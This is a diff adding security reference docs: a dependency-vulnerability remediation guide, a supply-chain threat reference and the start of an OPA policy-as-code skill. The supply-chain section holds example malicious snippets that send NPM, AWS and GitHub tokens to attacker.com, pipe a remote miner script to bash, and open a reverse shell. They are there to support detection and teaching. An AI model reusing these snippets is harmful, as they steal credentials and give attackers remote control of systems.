changelog + - Check migration guides + - Review API changes and deprecations + +3. **Update Dependency** + + **Node.js/npm**: + ```bash + npm install package-name@fixed-version + npm audit fix # Auto-fix where possible + ``` + + **Python/pip**: + ```bash + pip install package-name==fixed-version + pip-audit --fix # Auto-fix vulnerabilities + ``` + + **Java/Maven**: + ```xml + + org.example + vulnerable-lib + fixed-version + + ``` + + **Ruby/Bundler**: + ```bash + bundle update package-name + ``` + + **.NET/NuGet**: + ```bash + dotnet add package PackageName --version fixed-version + ``` + +4. **Test Thoroughly** + - Run existing test suite + - Test affected functionality + - Perform integration testing + - Consider security-specific test cases + +5. **Re-scan** + ```bash + scripts/blackduck_scan.py --project MyApp --version 1.0.1 + ``` + +### Handling Breaking Changes + +**Minor Breaking Changes**: Acceptable for security fixes +- Update function calls to new API +- Adjust configuration for new defaults +- Update type definitions + +**Major Breaking Changes**: Requires planning +- Create feature branch for upgrade +- Refactor code incrementally +- Use adapter pattern for compatibility +- Consider gradual rollout + +**Incompatible Changes**: May require alternative strategy +- Evaluate business impact +- Consider Strategy 3 (Replace) +- If critical, implement Strategy 4 (Mitigate) temporarily + +## Strategy 2: Apply Security Patch + +**When to use**: Vendor provides patch without full version upgrade + +**Priority**: HIGH - Use when full upgrade is not feasible + +### Patch Types + +**Backported Patches**: +- Vendor provides patch for older version +- Common in LTS/enterprise distributions +- Apply using vendor's instructions + +**Custom Patches**: +- Create patch from upstream fix +- Test extensively before deployment +- Document patch application process + +### Patch Application Process + +1. **Obtain Patch** + - Vendor security advisory + - GitHub commit/pull request + - Security mailing list + +2. **Validate Patch** + ```bash + # Review patch contents + git diff vulnerable-version..patched-version -- affected-file.js + + # Verify patch signature if available + gpg --verify patch.sig patch.diff + ``` + +3. **Apply Patch** + + **Git-based**: + ```bash + # Apply patch from file + git apply security-patch.diff + + # Or cherry-pick specific commit + git cherry-pick security-fix-commit-sha + ``` + + **Package manager overlay**: + ```bash + # npm patch-package + npx patch-package package-name + + # pip with local modifications + pip install -e ./patched-package + ``` + +4. **Test and Verify** + - Verify vulnerability is fixed + - Run security scan + - Test functionality + +5. **Document Patch** + - Create internal documentation + - Add to dependency management notes + - Set reminder for proper upgrade + +## Strategy 3: Replace Component + +**When to use**: No fix available, or component is unmaintained + +**Priority**: MEDIUM-HIGH - Architectural change required + +### Replacement Process + +1. **Identify Alternatives** + + **Evaluation Criteria**: + - Active maintenance (recent commits, releases) + - Security track record + - Community size and support + - Feature parity + - License compatibility + - Performance characteristics + + **Research Sources**: + - Black Duck component quality metrics + - GitHub stars/forks/issues + - Security advisories history + - StackOverflow activity + - Production usage at scale + +2. **Select Replacement** + + **Example Replacements**: + + | Vulnerable Component | Alternative | Reason | + |---------------------|-------------|--------| + | moment.js | date-fns, dayjs | No longer maintained | + | request (npm) | axios, node-fetch | Deprecated | + | xml2js | fast-xml-parser | XXE vulnerabilities | + | lodash (full) | lodash-es (specific functions) | Reduce attack surface | + +3. **Plan Migration** + - Map API differences + - Identify all usage locations + - Create compatibility layer if needed + - Plan gradual migration if large codebase + +4. **Execute Replacement** + ```bash + # Remove vulnerable component + npm uninstall vulnerable-package + + # Install replacement + npm install secure-alternative + + # Update imports/requires across codebase + # Use tools like jscodeshift for automated refactoring + ``` + +5. **Verify** + - Scan for residual references + - Test all affected code paths + - Re-scan with Black Duck + +## Strategy 4: Implement Mitigations + +**When to use**: No fix/replacement available, vulnerability cannot be eliminated + +**Priority**: MEDIUM - Compensating controls required + +### Mitigation Techniques + +#### Input Validation and Sanitization + +For injection vulnerabilities: +```javascript +// Before: Vulnerable to injection +const result = eval(userInput); + +// Mitigation: Strict validation and safe alternatives +const allowlist = ['option1', 'option2']; +if (!allowlist.includes(userInput)) { + throw new Error('Invalid input'); +} +const result = safeEvaluate(userInput); +``` + +#### Network Segmentation + +For RCE/SSRF vulnerabilities: +- Deploy vulnerable component in isolated network segment +- Restrict outbound network access +- Use Web Application Firewall (WAF) rules +- Implement egress filtering + +#### Access Controls + +For authentication/authorization bypasses: +```python +# Additional validation layer +@require_additional_auth +def sensitive_operation(): + # Vulnerable library call + vulnerable_lib.do_operation() +``` + +#### Runtime Protection + +**Application Security Tools**: +- RASP (Runtime Application Self-Protection) +- Virtual patching via WAF +- Container security policies + +**Example - WAF Rule**: +```nginx +# ModSecurity rule to block exploitation attempt +SecRule REQUEST_URI "@rx /vulnerable-endpoint" \ + "id:1001,phase:1,deny,status:403,\ + msg:'Blocked access to vulnerable component'" +``` + +#### Minimize Attack Surface + +**Disable Vulnerable Features**: +```xml + + + + + + + + + +``` + +**Remove Unused Code**: +```bash +# Remove unused dependencies +npm prune +pip-autoremove + +# Tree-shake unused code +webpack --mode production # Removes unused exports +``` + +### Monitoring and Detection + +Implement enhanced monitoring for vulnerable components: + +```python +# Example: Log and alert on vulnerable code path usage +import logging + +def wrap_vulnerable_function(original_func): + def wrapper(*args, **kwargs): + logging.warning( + "SECURITY: Vulnerable function called", + extra={ + "function": original_func.__name__, + "args": args, + "caller": inspect.stack()[1] + } + ) + # Alert security team + send_security_alert("Vulnerable code path executed") + return original_func(*args, **kwargs) + return wrapper + +# Apply wrapper +vulnerable_lib.dangerous_function = wrap_vulnerable_function( + vulnerable_lib.dangerous_function +) +``` + +## Strategy 5: Risk Acceptance + +**When to use**: Vulnerability is not exploitable in your context, or risk is acceptable + +**Priority**: LOWEST - Only after thorough risk analysis + +### Risk Acceptance Criteria + +**Acceptable when ALL of these are true**: +1. Vulnerability is not exploitable in deployment context +2. Attack requires significant preconditions (e.g., admin access) +3. Vulnerable code path is never executed +4. Impact is negligible even if exploited +5. Mitigation cost exceeds risk + +### Risk Acceptance Process + +1. **Document Justification** + ```markdown + # Risk Acceptance: CVE-2023-XXXXX in component-name + + **Vulnerability**: SQL Injection in admin panel + **CVSS Score**: 8.5 (HIGH) + **Component**: admin-dashboard@1.2.3 + + **Justification for Acceptance**: + - Admin panel is only accessible to authenticated administrators + - Additional authentication layer required (2FA) + - Network access restricted to internal network only + - No sensitive data accessible via this component + - Monitoring in place for suspicious activity + + **Mitigation Controls**: + - WAF rules blocking SQL injection patterns + - Enhanced logging on admin endpoints + - Network segmentation + - Regular security audits + + **Review Date**: 2024-06-01 + **Approved By**: CISO, Security Team Lead + **Next Review**: 2024-09-01 + ``` + +2. **Implement Compensating Controls** + - Enhanced monitoring + - Additional authentication layers + - Network restrictions + - Regular security reviews + +3. **Set Review Schedule** + - Quarterly reviews for HIGH/CRITICAL + - Semi-annual for MEDIUM + - Annual for LOW + +4. **Track in Black Duck** + ```bash + # Mark as accepted risk in Black Duck with expiration + # Use Black Duck UI or API to create policy exception + ``` + +## Language-Specific Guidance + +### JavaScript/Node.js + +**Tools**: +- `npm audit` - Built-in vulnerability scanner +- `npm audit fix` - Automatic remediation +- `yarn audit` - Yarn's vulnerability scanner +- `snyk` - Commercial SCA tool + +**Best Practices**: +- Lock dependencies with `package-lock.json` +- Use `npm ci` in CI/CD for reproducible builds +- Audit transitive dependencies +- Consider `npm-force-resolutions` for forcing versions + +### Python + +**Tools**: +- `pip-audit` - Scan for vulnerabilities +- `safety` - Check against vulnerability database +- `pip-check` - Verify package compatibility + +**Best Practices**: +- Use `requirements.txt` and `pip freeze` +- Pin exact versions for security-critical deps +- Use virtual environments +- Consider `pip-tools` for dependency management + +### Java + +**Tools**: +- OWASP Dependency-Check +- Snyk for Java +- Black Duck (commercial) + +**Best Practices**: +- Use dependency management (Maven, Gradle) +- Lock versions in `pom.xml` or `build.gradle` +- Scan with `mvn dependency:tree` for transitive deps +- Use Maven Enforcer Plugin for version policies + +### .NET + +**Tools**: +- `dotnet list package --vulnerable` +- OWASP Dependency-Check +- WhiteSource Bolt + +**Best Practices**: +- Use `PackageReference` in project files +- Lock versions with `packages.lock.json` +- Enable NuGet package validation +- Use `dotnet outdated` to track updates + +### Ruby + +**Tools**: +- `bundle audit` - Check for vulnerabilities +- `bundler-audit` - Automated checking + +**Best Practices**: +- Use `Gemfile.lock` for reproducible deps +- Run `bundle audit` in CI/CD +- Update regularly with `bundle update` +- Use pessimistic version constraints + +## Remediation Workflow Checklist + +For each vulnerability: + +- [ ] Identify vulnerability details (CVE, CVSS, affected versions) +- [ ] Determine if vulnerability is exploitable in your context +- [ ] Check for fixed version or patch availability +- [ ] Assess upgrade/patch complexity and breaking changes +- [ ] Select remediation strategy (Upgrade/Patch/Replace/Mitigate/Accept) +- [ ] Create remediation plan with timeline +- [ ] Execute remediation +- [ ] Test thoroughly (functionality + security) +- [ ] Re-scan with Black Duck to confirm fix +- [ ] Document changes and lessons learned +- [ ] Deploy to production with rollback plan +- [ ] Monitor for issues post-deployment + +## References + +- [NIST Vulnerability Management Guide](https://nvd.nist.gov/) +- [OWASP Dependency Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html) +- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) +- [Snyk Vulnerability Database](https://security.snyk.io/) diff --git a/skills/appsec/sca-blackduck/references/supply_chain_threats.md b/skills/appsec/sca-blackduck/references/supply_chain_threats.md new file mode 100644 index 0000000..51dcb78 --- /dev/null +++ b/skills/appsec/sca-blackduck/references/supply_chain_threats.md @@ -0,0 +1,588 @@ +# Supply Chain Security Threats + +## Table of Contents +- [Threat Overview](#threat-overview) +- [Attack Vectors](#attack-vectors) +- [Detection Strategies](#detection-strategies) +- [Prevention and Mitigation](#prevention-and-mitigation) +- [Incident Response](#incident-response) + +## Threat Overview + +Supply chain attacks target the software dependency ecosystem to compromise applications through malicious or vulnerable third-party components. + +**Impact**: Critical - can affect thousands of downstream users +**Trend**: Increasing rapidly (651% increase 2021-2022) +**MITRE ATT&CK**: T1195 - Supply Chain Compromise + +### Attack Categories + +1. **Compromised Dependencies** - Legitimate packages backdoored by attackers +2. **Typosquatting** - Malicious packages with similar names +3. **Dependency Confusion** - Exploiting package resolution order +4. **Malicious Maintainers** - Attackers become maintainers +5. **Build System Compromise** - Injection during build/release process + +## Attack Vectors + +### 1. Dependency Confusion + +**MITRE ATT&CK**: T1195.001 +**CWE**: CWE-494 (Download of Code Without Integrity Check) + +**Attack Description**: +Attackers publish malicious packages to public registries with same name as internal packages. Package managers may install public version instead of internal. + +**Real-World Examples**: +- **2021**: Researcher demonstrated by uploading packages mimicking internal names at Microsoft, Apple, PayPal +- **Impact**: Potential code execution on build servers + +**Attack Pattern**: +``` +Internal Package Registry (private): + - company-auth-lib@1.0.0 + +Public Registry (npmjs.com): + - company-auth-lib@99.0.0 (MALICIOUS) + +Package manager resolution: + npm install company-auth-lib + → Installs v99.0.0 from public registry (higher version) +``` + +**Detection with Black Duck**: +- Unexpected package source changes +- Version spikes (jumping from 1.x to 99.x) +- Multiple registries for same package +- New publishers for established packages + +**Prevention**: +```bash +# npm - use scoped packages for internal code +npm config set @company:registry https://npm.internal.company.com + +# Configure .npmrc to prefer internal registry +@company:registry=https://npm.internal.company.com +registry=https://registry.npmjs.org + +# Python - use index-url for internal PyPI +pip install --index-url https://pypi.internal.company.com package-name + +# Maven - repository order matters + + + company-internal + https://maven.internal.company.com + + +``` + +**Mitigation**: +- Use scoped/namespaced packages (@company/package-name) +- Configure package manager to prefer internal registry +- Reserve public names for internal packages +- Implement allowlists for external packages +- Pin dependency versions + +### 2. Typosquatting + +**MITRE ATT&CK**: T1195.001 +**CWE**: CWE-829 (Untrusted Control Sphere) + +**Attack Description**: +Malicious packages with names similar to popular packages, relying on typos during installation. + +**Real-World Examples**: +- **crossenv** (mimicking cross-env) - 700+ downloads before removal +- **electorn** (mimicking electron) - credential stealer +- **python3-dateutil** (mimicking python-dateutil) - cryptominer + +**Common Typosquatting Patterns**: +- Missing/extra character: `reqeusts` vs `requests` +- Substituted character: `requsts` vs `requests` +- Transposed characters: `reqeusts` vs `requests` +- Homoglyphs: `requ𝗲sts` vs `requests` (Unicode lookalikes) +- Namespace confusion: `@npm/lodash` vs `lodash` + +**Detection**: +- Levenshtein distance analysis on new dependencies +- Check package popularity and age +- Review package maintainer history +- Verify package repository URL + +**Black Duck Detection**: +```python +# Component quality indicators +- Download count (typosquats typically low) +- Creation date (recent for established functionality) +- Maintainer reputation +- GitHub stars/forks (legitimate packages have more) +``` + +**Prevention**: +- Use dependency lock files (package-lock.json, yarn.lock) +- Code review for new dependencies +- Automated typosquatting detection tools +- IDE autocomplete from verified sources + +### 3. Compromised Maintainer Accounts + +**MITRE ATT&CK**: T1195.002 +**CWE**: CWE-1294 (Insecure Security Identifier) + +**Attack Description**: +Attackers gain access to legitimate maintainer accounts through credential compromise, then publish malicious versions. + +**Real-World Examples**: +- **event-stream (2018)**: Maintainer handed over to attacker, malicious code added +- **ua-parser-js (2021)**: Hijacked to deploy cryptocurrency miner +- **coa, rc (2021)**: Password spraying attack on maintainer accounts + +**Attack Indicators**: +- Unexpected version releases +- New maintainers added +- Changed package repository URLs +- Sudden dependency additions +- Obfuscated code in updates +- Behavioral changes (network calls, file system access) + +**Detection with Black Duck**: +``` +Monitor for: +- Maintainer changes +- Unusual release patterns +- Security score degradation +- New external dependencies +- Build process changes +``` + +**Prevention**: +- Enable 2FA/MFA for registry accounts +- Use hardware security keys +- Registry account monitoring/alerts +- Code signing for packages +- Review release process changes + +### 4. Malicious Dependencies (Direct Injection) + +**MITRE ATT&CK**: T1195.001 + +**Attack Description**: +Entirely malicious packages created by attackers, often using SEO or social engineering to drive adoption. + +**Real-World Examples**: +- **event-stream → flatmap-stream (2018)**: Injected Bitcoin wallet stealer +- **bootstrap-sass (malicious version)**: Credential harvester +- **eslint-scope (2018)**: Credential stealer via compromised account + +**Common Malicious Behaviors**: +- Credential harvesting (env vars, config files) +- Cryptocurrency mining +- Backdoor installation +- Data exfiltration +- Command & control communication + +**Example Malicious Code Patterns**: +```javascript +// Environment variable exfiltration +const secrets = { + npm_token: process.env.NPM_TOKEN, + aws_key: process.env.AWS_ACCESS_KEY_ID, + github_token: process.env.GITHUB_TOKEN +}; +fetch('https://attacker.com/collect', { + method: 'POST', + body: JSON.stringify(secrets) +}); + +// Cryptocurrency miner +const { exec } = require('child_process'); +exec('curl http://attacker.com/miner.sh | bash'); + +// Backdoor +const net = require('net'); +const { spawn } = require('child_process'); +const shell = spawn('/bin/bash', []); +net.connect(4444, 'attacker.com', function() { + this.pipe(shell.stdin); + shell.stdout.pipe(this); +}); +``` + +**Detection**: +- Network activity during install (install scripts shouldn't make external calls) +- File system modifications outside package directory +- Process spawning during installation +- Obfuscated or minified code in source packages +- Suspicious dependencies for package scope + +**Black Duck Indicators**: +- Low community adoption for claimed functionality +- Recent creation date +- Lack of GitHub repository or activity +- Poor code quality metrics +- No documentation or minimal README + +### 5. Build System Compromise + +**MITRE ATT&CK**: T1195.003 +**CWE**: CWE-494 + +**Attack Description**: +Compromising the build or release infrastructure to inject malicious code during the build process. + +**Real-World Examples**: +- **SolarWinds (2020)**: Build system compromise led to trojanized software updates +- **Codecov (2021)**: Bash uploader script modified to exfiltrate credentials + +**Attack Vectors**: +- Compromised CI/CD credentials +- Malicious CI/CD pipeline configurations +- Compromised build dependencies +- Registry credential theft during build +- Artifact repository compromise + +**Detection**: +- Reproducible builds (verify build output matches) +- Build artifact signing and verification +- Supply chain levels for software artifacts (SLSA) +- Build provenance tracking + +**Prevention**: +- Secure CI/CD infrastructure +- Minimal build environment (containers) +- Secret management (avoid env vars in logs) +- Build isolation and sandboxing +- SBOM generation at build time + +## Detection Strategies + +### Static Analysis Indicators + +**Package Metadata Analysis**: +```python +# Black Duck provides these metrics +suspicious_indicators = { + "recent_creation": age_days < 30, + "low_adoption": downloads < 100, + "no_repository": github_url == None, + "new_maintainer": maintainer_age < 90, + "version_spike": version > expected + 50, + "abandoned": last_update_days > 730 +} +``` + +### Behavioral Analysis + +**Runtime Monitoring**: +- Network connections during install +- File system access outside package directory +- Process spawning (especially child processes) +- Environment variable access +- Encrypted/obfuscated payloads + +**Example Detection Script**: +```bash +#!/bin/bash +# Monitor package installation for suspicious behavior + +strace -f -e trace=network,process,file npm install suspicious-package 2>&1 | \ + grep -E "(connect|sendto|execve|openat)" | \ + grep -v "npmjs.org\|yarnpkg.com" # Exclude legitimate registries + +# Any network activity to non-registry domains during install is suspicious +``` + +### Dependency Graph Analysis + +**Transitive Dependency Risk**: +``` +Your App +├── legitimate-package@1.0.0 +│ └── utility-lib@2.0.0 (✓ Safe) +│ └── string-helper@1.0.0 (⚠️ Recently added) +│ └── unknown-package@99.0.0 (❌ SUSPICIOUS) +``` + +**Black Duck Features**: +- Full dependency tree visualization +- Transitive vulnerability detection +- Component risk scoring +- Supply chain risk assessment + +## Prevention and Mitigation + +### 1. Dependency Vetting Process + +**Before Adding Dependency**: +```markdown +# Dependency Vetting Checklist + +- [ ] Active maintenance (commits within 3 months) +- [ ] Sufficient adoption (downloads, GitHub stars) +- [ ] Code repository available and reviewed +- [ ] Recent security audit or assessment +- [ ] Compatible license +- [ ] Minimal transitive dependencies +- [ ] No known vulnerabilities (Black Duck scan) +- [ ] Maintainer reputation verified +- [ ] Reasonable package size +- [ ] Documentation quality adequate +``` + +**Automated Checks**: +```bash +#!/bin/bash +# Automated dependency vetting + +PACKAGE=$1 + +# Check age and popularity +npm view $PACKAGE time.created downloads + +# Check for known vulnerabilities +npm audit + +# Black Duck scan +scripts/blackduck_scan.py --project temp-vet --version 1.0.0 + +# Check for typosquatting +python3 -c " +import Levenshtein +from package_registry import get_popular_packages + +popular = get_popular_packages() +for pkg in popular: + distance = Levenshtein.distance('$PACKAGE', pkg) + if distance <= 2: + print(f'⚠️ Similar to {pkg} (distance: {distance})') +" +``` + +### 2. Dependency Pinning and Lock Files + +**Always use lock files**: +```json +// package.json - use exact versions for security-critical deps +{ + "dependencies": { + "critical-auth-lib": "1.2.3", // Exact version + "utility-lib": "^2.0.0" // Allow minor updates + } +} +``` + +**Commit lock files**: +- package-lock.json (npm) +- yarn.lock (Yarn) +- Pipfile.lock (Python) +- Gemfile.lock (Ruby) +- go.sum (Go) + +### 3. Subresource Integrity (SRI) + +**For CDN-loaded dependencies**: +```html + + +``` + +### 4. Private Package Registry + +**Benefits**: +- Control over approved packages +- Caching for availability +- Internal package distribution +- Security scanning integration + +**Solutions**: +- Artifactory (JFrog) +- Nexus Repository +- Azure Artifacts +- AWS CodeArtifact +- GitHub Packages + +**Configuration Example (npm)**: +```bash +# .npmrc +registry=https://artifactory.company.com/api/npm/npm-virtual/ +@company:registry=https://artifactory.company.com/api/npm/npm-internal/ + +# Always authenticate +always-auth=true +``` + +### 5. Continuous Monitoring + +**Automated Scanning**: +```yaml +# .github/workflows/dependency-scan.yml +name: Dependency Security Scan + +on: + schedule: + - cron: '0 0 * * *' # Daily + pull_request: + push: + branches: [main] + +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Black Duck Scan + run: | + scripts/blackduck_scan.py \ + --project ${{ github.repository }} \ + --version ${{ github.sha }} \ + --fail-on-policy + + - name: Check for new dependencies + run: | + git diff origin/main -- package.json | \ + grep "^+" | grep -v "^+++" | \ + while read line; do + echo "⚠️ New dependency requires review: $line" + done +``` + +### 6. Runtime Protection + +**Application-level**: +```javascript +// Freeze object prototypes to prevent pollution +Object.freeze(Object.prototype); +Object.freeze(Array.prototype); + +// Restrict network access for dependencies (if possible) +// Use Content Security Policy (CSP) for web apps + +// Monitor unexpected behavior +process.on('warning', (warning) => { + if (warning.name === 'DeprecationWarning') { + // Log and alert on deprecated API usage + securityLog.warn('Deprecated API used', { warning }); + } +}); +``` + +**Container-level**: +```dockerfile +# Use minimal base images +FROM node:18-alpine + +# Run as non-root +USER node + +# Read-only file system where possible +VOLUME /app +WORKDIR /app + +# No network access during build +RUN --network=none npm ci +``` + +## Incident Response + +### Detection Phase + +**Indicators of Compromise**: +1. Black Duck alerts on component changes +2. Unexpected network traffic from application +3. CPU/memory spikes (cryptocurrency mining) +4. Security tool alerts +5. Credential compromise reports +6. Customer reports of suspicious behavior + +### Containment + +**Immediate Actions**: +1. **Isolate**: Remove affected application from network +2. **Inventory**: Identify all systems using compromised dependency +3. **Block**: Add malicious package to blocklist +4. **Rotate**: Rotate all credentials that may have been exposed + +```bash +# Emergency response script +#!/bin/bash + +MALICIOUS_PACKAGE=$1 + +# 1. Block package in registry +curl -X POST https://artifactory/api/blocklist \ + -d "{\"package\": \"$MALICIOUS_PACKAGE\"}" + +# 2. Find all projects using it +find /repos -name package.json -exec \ + grep -l "$MALICIOUS_PACKAGE" {} \; + +# 3. Emergency notification +send_alert "CRITICAL: Supply chain compromise detected - $MALICIOUS_PACKAGE" + +# 4. Rotate secrets +./rotate_all_credentials.sh + +# 5. Re-scan all projects +for project in $(get_all_projects); do + scripts/blackduck_scan.py --project $project --emergency-scan +done +``` + +### Eradication + +1. **Remove** malicious dependency +2. **Replace** with safe alternative or version +3. **Re-scan** with Black Duck to confirm +4. **Review** logs for malicious activity +5. **Rebuild** from clean state + +### Recovery + +1. **Deploy** patched version +2. **Monitor** for continued malicious activity +3. **Verify** integrity of application +4. **Restore** from backup if necessary + +### Post-Incident + +**Root Cause Analysis**: +- How did malicious package enter supply chain? +- What controls failed? +- What was the impact? + +**Improvements**: +- Update vetting procedures +- Enhance monitoring +- Additional training +- Technical controls + +## Tools and Resources + +**Detection Tools**: +- **Synopsys Black Duck**: Comprehensive SCA with supply chain risk +- **Socket.dev**: Real-time supply chain attack detection +- **Snyk**: Vulnerability and license scanning +- **Checkmarx SCA**: Software composition analysis + +**Best Practices**: +- [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain) +- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final) +- [SLSA Framework](https://slsa.dev/) +- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) + +**Incident Databases**: +- [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises) +- [Backstabber's Knife Collection](https://dasfreak.github.io/Backstabbers-Knife-Collection/) + +## References + +- [Sonatype 2022 State of Software Supply Chain](https://www.sonatype.com/state-of-the-software-supply-chain) +- [MITRE ATT&CK - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/) +- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final) +- [Linux Foundation - Securing the Software Supply Chain](https://www.linuxfoundation.org/resources/publications/securing-the-software-supply-chain) diff --git a/skills/compliance/.category b/skills/compliance/.category new file mode 100644 index 0000000..5c4b5dd --- /dev/null +++ b/skills/compliance/.category @@ -0,0 +1,5 @@ +# Compliance & Auditing Skills + +This directory contains skills for security compliance and auditing operations. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/compliance/policy-opa/SKILL.md b/skills/compliance/policy-opa/SKILL.md new file mode 100644 index 0000000..88c7c80 --- /dev/null +++ b/skills/compliance/policy-opa/SKILL.md @@ -0,0 +1,431 @@ +--- +name: policy-opa +description: > + Policy-as-code enforcement and compliance validation using Open Policy Agent (OPA). + Use when: (1) Enforcing security and compliance policies across infrastructure and applications, + (2) Validating Kubernetes admission control policies, (3) Implementing policy-as-code for + compliance frameworks (SOC2, PCI-DSS, GDPR, HIPAA), (4) Testing and evaluating OPA Rego policies, + (5) Integrating policy checks into CI/CD pipelines, (6) Auditing configuration drift against + organizational security standards, (7) Implementing least-privilege access controls. +version: 0.1.0 +maintainer: SirAppSec +category: compliance +tags: [opa, policy-as-code, compliance, rego, kubernetes, admission-control, soc2, gdpr, pci-dss, hipaa] +frameworks: [SOC2, PCI-DSS, GDPR, HIPAA, NIST, ISO27001] +dependencies: + tools: [opa, docker, kubectl] + packages: [jq, yq] +references: + - https://www.openpolicyagent.org/docs/latest/ + - https://www.openpolicyagent.org/docs/latest/policy-language/ + - https://www.conftest.dev/ +--- + +# Policy-as-Code with Open Policy Agent + +## Overview + +This skill enables policy-as-code enforcement using Open Policy Agent (OPA) for compliance validation, security policy enforcement, and configuration auditing. OPA provides a unified framework for policy evaluation across cloud-native environments, Kubernetes, CI/CD pipelines, and infrastructure-as-code. + +Use OPA to codify security requirements, compliance controls, and organizational standards as executable policies written in Rego. Automatically validate configurations, prevent misconfigurations, and maintain continuous compliance. + +## Quick Start + +### Install OPA + +```bash +# macOS +brew install opa + +# Linux +curl -L -o opa https://openpolicyagent.org/downloads/latest/opa_linux_amd64 +chmod +x opa + +# Verify installation +opa version +``` + +### Basic Policy Evaluation + +```bash +# Evaluate a policy against input data +opa eval --data policy.rego --input input.json 'data.example.allow' + +# Test policies with unit tests +opa test policy.rego policy_test.rego --verbose + +# Run OPA server for live policy evaluation +opa run --server --addr localhost:8181 +``` + +## Core Workflow + +### Step 1: Define Policy Requirements + +Identify compliance requirements and security controls to enforce: +- Compliance frameworks (SOC2, PCI-DSS, GDPR, HIPAA, NIST) +- Kubernetes security policies (pod security, RBAC, network policies) +- Infrastructure-as-code policies (Terraform, CloudFormation) +- Application security policies (API authorization, data access) +- Organizational security standards + +### Step 2: Write OPA Rego Policies + +Create policy files in Rego language. Use the provided templates in `assets/` for common patterns: + +**Example: Kubernetes Pod Security Policy** +```rego +package kubernetes.admission + +import future.keywords.contains +import future.keywords.if + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + container.securityContext.privileged == true + msg := sprintf("Privileged containers are not allowed: %v", [container.name]) +} + +deny[msg] { + input.request.kind.kind == "Pod" + container := input.request.object.spec.containers[_] + not container.securityContext.runAsNonRoot + msg := sprintf("Container must run as non-root: %v", [container.name]) +} +``` + +**Example: Compliance Control Validation (SOC2)** +```rego +package compliance.soc2 + +import future.keywords.if + +# CC6.1: Logical and physical access controls +deny[msg] { + input.kind == "Deployment" + not input.spec.template.metadata.labels["data-classification"] + msg := "SOC2 CC6.1: All deployments must have data-classification label" +} + +# CC6.6: Encryption in transit +deny[msg] { + input.kind == "Service" + input.spec.type == "LoadBalancer" + not input.metadata.annotations["service.beta.kubernetes.io/aws-load-balancer-ssl-cert"] + msg := "SOC2 CC6.6: LoadBalancer services must use SSL/TLS encryption" +} +``` + +### Step 3: Test Policies with Unit Tests + +Write comprehensive tests for policy validation: + +```rego +package kubernetes.admission_test + +import data.kubernetes.admission + +test_deny_privileged_container { + input := { + "request": { + "kind": {"kind": "Pod"}, + "object": { + "spec": { + "containers": [{ + "name": "nginx", + "securityContext": {"privileged": true} + }] + } + } + } + } + count(admission.deny) > 0 +} + +test_allow_unprivileged_container { + input := { + "request": { + "kind": {"kind": "Pod"}, + "object": { + "spec": { + "containers": [{ + "name": "nginx", + "securityContext": {"privileged": false, "runAsNonRoot": true} + }] + } + } + } + } + count(admission.deny) == 0 +} +``` + +Run tests: +```bash +opa test . --verbose +``` + +### Step 4: Evaluate Policies Against Configuration + +Use the bundled evaluation script for policy validation: + +```bash +# Evaluate single file +./scripts/evaluate_policy.py --policy policies/ --input config.yaml + +# Evaluate directory of configurations +./scripts/evaluate_policy.py --policy policies/ --input configs/ --recursive + +# Output results in JSON format for CI/CD integration +./scripts/evaluate_policy.py --policy policies/ --input config.yaml --format json +``` + +Or use OPA directly: +```bash +# Evaluate with formatted output +opa eval --data policies/ --input config.yaml --format pretty 'data.compliance.violations' + +# Bundle evaluation for complex policies +opa eval --bundle policies.tar.gz --input config.yaml 'data' +``` + +### Step 5: Integrate with CI/CD Pipelines + +Add policy validation to your CI/CD workflow: + +**GitHub Actions Example:** +```yaml +- name: Validate Policies + uses: open-policy-agent/setup-opa@v2 + with: + version: latest + +- name: Run Policy Tests + run: opa test policies/ --verbose + +- name: Evaluate Configuration + run: | + opa eval --data policies/ --input deployments/ \ + --format pretty 'data.compliance.violations' > violations.json + + if [ $(jq 'length' violations.json) -gt 0 ]; then + echo "Policy violations detected!" + cat violations.json + exit 1 + fi +``` + +**GitLab CI Example:** +```yaml +policy-validation: + image: openpolicyagent/opa:latest + script: + - opa test policies/ --verbose + - opa eval --data policies/ --input configs/ --format pretty 'data.compliance.violations' + artifacts: + reports: + junit: test-results.xml +``` + +### Step 6: Deploy as Kubernetes Admission Controller + +Enforce policies at cluster level using OPA Gatekeeper: + +```bash +# Install OPA Gatekeeper +kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml + +# Apply constraint template +kubectl apply -f assets/k8s-constraint-template.yaml + +# Apply constraint +kubectl apply -f assets/k8s-constraint.yaml + +# Test admission control +kubectl apply -f test-pod.yaml # Should be denied if violates policy +``` + +### Step 7: Monitor Policy Compliance + +Generate compliance reports using the bundled reporting script: + +```bash +# Generate compliance report +./scripts/generate_report.py --policy policies/ --audit-logs audit.json --output compliance-report.html + +# Export violations for SIEM integration +./scripts/generate_report.py --policy policies/ --audit-logs audit.json --format json --output violations.json +``` + +## Security Considerations + +- **Policy Versioning**: Store policies in version control with change tracking and approval workflows +- **Least Privilege**: Grant minimal permissions for policy evaluation - OPA should run with read-only access to configurations +- **Sensitive Data**: Avoid embedding secrets in policies - use external data sources or encrypted configs +- **Audit Logging**: Log all policy evaluations, violations, and exceptions for compliance auditing +- **Policy Testing**: Maintain comprehensive test coverage (>80%) for all policy rules +- **Separation of Duties**: Separate policy authors from policy enforcers; require peer review for policy changes +- **Compliance Mapping**: Map policies to specific compliance controls (SOC2 CC6.1, PCI-DSS 8.2.1) for audit traceability + +## Bundled Resources + +### Scripts (`scripts/`) + +- `evaluate_policy.py` - Evaluate OPA policies against configuration files with formatted output +- `generate_report.py` - Generate compliance reports from policy evaluation results +- `test_policies.sh` - Run OPA policy unit tests with coverage reporting + +### References (`references/`) + +- `rego-patterns.md` - Common Rego patterns for security and compliance policies +- `compliance-frameworks.md` - Policy templates mapped to SOC2, 